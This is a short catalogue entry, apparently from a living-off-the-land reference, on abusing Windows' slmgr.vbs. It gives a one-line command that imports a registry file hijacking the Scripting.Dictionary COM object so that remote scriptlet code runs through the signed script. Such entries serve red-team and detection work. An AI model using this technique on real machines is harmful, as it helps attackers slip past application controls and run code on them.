Script used to manage windows license activation

Paths:

C:\Windows\System32\slmgr.vbs
C:\Windows\SysWOW64\slmgr.vbs

Detection:

Execute

Hijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code

reg.exe import c:\path\to\Slmgr.reg & cscript.exe /b c:\windows\system32\slmgr.vbs